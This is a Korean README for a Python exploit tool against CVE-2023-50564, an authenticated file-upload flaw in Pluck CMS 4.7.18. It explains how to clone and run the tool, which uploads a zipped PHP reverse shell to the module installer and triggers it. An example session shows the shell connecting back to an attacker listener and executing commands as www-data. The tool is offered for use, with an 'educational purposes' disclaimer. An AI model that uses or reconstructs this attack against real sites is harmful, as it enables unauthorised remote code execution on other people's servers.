CVE-2023-50564 - Pluck CMS v4.7.18 익스플로잇

개요

이 스크립트는 Pluck CMS v4.7.18 (CVE-2023-50564)의 인증된 임의 파일 업로드 취약점을 악용합니다. 이 취약점을 이용하면 인증된 공격자가 악성 PHP 파일을 업로드하여 임의 코드 실행(이 경우 리버스 셸)을 가능하게 합니다.

익스플로잇 세부 정보

• CVE ID: CVE-2023-50564
• 영향받는 버전: Pluck CMS v4.7.18
• 유형: 인증된 임의 파일 업로드
• 영향: 원격 코드 실행 (RCE)

취약점은 /admin.php?action=installmodule 엔드포인트에 존재하며, 인증된 사용자가 임의의 파일을 포함하는 ZIP 파일을 업로드할 수 있습니다. 악성 PHP 파일을 업로드함으로써 이 익스플로잇은 공격자에게 리버스 셸을 생성합니다.

요구 사항

• Python 3.x
• requests 모듈: pip install requests
• requests-toolbelt 모듈: pip install requests-toolbelt

이 스크립트는 또한 대상 URL과 비밀번호를 포함하여 Pluck CMS 인스턴스의 유효한 로그인이 필요합니다.

익스플로잇 기능

• 리버스 셸: 이 익스플로잇은 PHP 리버스 셸을 대상에 업로드하고 공격자 머신으로 다시 연결됩니다.
• 대화형 명령 실행: 리버스 셸이 설정되면 대상에서 명령을 대화형으로 실행할 수 있습니다.
• 비밀번호 프롬프트 감지: 익스플로잇은 비밀번호 프롬프트(예: su, sudo -l)를 감지하고 사용자가 수동으로 입력할 수 있도록 합니다.

사용 방법

익스플로잇 실행 단계

1. 리포지토리 복제:
   root@kitploit:~

   git clone https://github.com/yourusername/Pluck-CMS-Exploit.git
   cd Pluck-CMS-Exploit
   

2. 필수 Python 패키지 설치: 필수 패키지가 설치되어 있는지 확인하세요.

pip install requests requests-toolbelt

3. 익스플로잇 실행: 이 스크립트는 네 가지 입력이 필요합니다: 대상 URL, CMS 비밀번호, 리버스 셸을 위한 IP 주소, 수신 대기할 포트.

Python을 사용하여 익스플로잇 실행:

 python3 exploit.py

4. 프롬프트가 표시되면 입력 제공:

• 대상 URL 입력 (예: example.com).
• CMS 인증을 위한 비밀번호 입력.
• 리버스 셸 연결을 위한 IP 주소 입력.
• 리버스 셸 수신을 위한 포트 입력.

5. 대화형 셸: 리버스 셸이 설정되면 Shell> 프롬프트가 나타나 대상 시스템과 상호작용할 수 있습니다.

예시:

 $ python3 exploit.py
 Enter the target URL (e.g., example.com): pluckcms.vulnerable.com
 Enter the password for target authentication: password123
 Enter your IP (for reverse shell): 10.10.14.5
 Enter the port to listen on (for reverse shell): 4444
 [*] Authenticating to the target...
 [+] Authentication successful.
 [*] Generating reverse shell PHP file...
 [+] Reverse shell PHP file created successfully as 'shell.php'.
 [*] Creating ZIP payload...
 [+] ZIP file created as 'payload.zip'.
 [*] Starting reverse shell listener on 10.10.14.5:4444 ...
 [*] Uploading payload to the target...
 [+] Payload uploaded successfully.
 [*] Triggering reverse shell at: http://pluckcms.vulnerable.com/data/modules/payload/shell.php
 [+] Connection received from ('10.10.10.1', 55678)
 Shell> whoami
 www-data

익스플로잇 분석

• 인증: 스크립트는 제공된 자격 증명을 사용하여 CMS에 로그인합니다.
• 파일 업로드: PHP 리버스 셸이 포함된 ZIP 아카이브를 생성하고 취약한 엔드포인트(/admin.php?action=installmodule)에 업로드합니다.
• 리버스 셸: 스크립트는 업로드된 PHP 파일을 트리거하여 공격자 머신으로의 리버스 셸 연결을 설정합니다.

CVE 세부 정보

• CVE ID: CVE-2023-50564
• 취약한 엔드포인트: /admin.php?action=installmodule
• 취약한 버전: Pluck CMS v4.7.18
• 유형: 인증된 임의 파일 업로드

면책 조항

이 스크립트는 교육 목적과 윤리적 해킹을 위해 제공됩니다. 명시적인 테스트 허가를 받은 환경에서만 사용해야 합니다. 저자는 이 도구의 오용에 대해 책임을 지지 않습니다.

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 MIT 라이선스를 참조하세요.

기여

리포지토리를 포크하고 풀 리퀘스트를 제출해 주세요. 문제나 기능 요청이 있으면 GitHub에서 이슈를 열어 주세요.